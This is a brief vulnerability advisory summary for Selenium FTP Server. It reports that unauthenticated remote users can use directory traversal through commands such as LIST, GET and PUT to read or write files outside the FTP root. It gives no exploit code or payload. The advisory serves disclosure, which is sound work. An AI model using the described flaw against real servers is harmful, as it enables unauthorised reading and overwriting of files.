Selenium FTP Server Directory Traversal
------------------------------------------------------------------------
SUMMARY
<http://bibasoftware.com/?page_id=15>; Selenium FTP Server is vulnerable
to a directory transversal input validation error in which a remote
unauthenticated user can issue using the DIR, LIST, NLST, etc commands to
display any file on the remote server or use the GET/RECV command to
retrieve any file outside the FTP root and the PUT/SEND to write to any
location on the remote server.
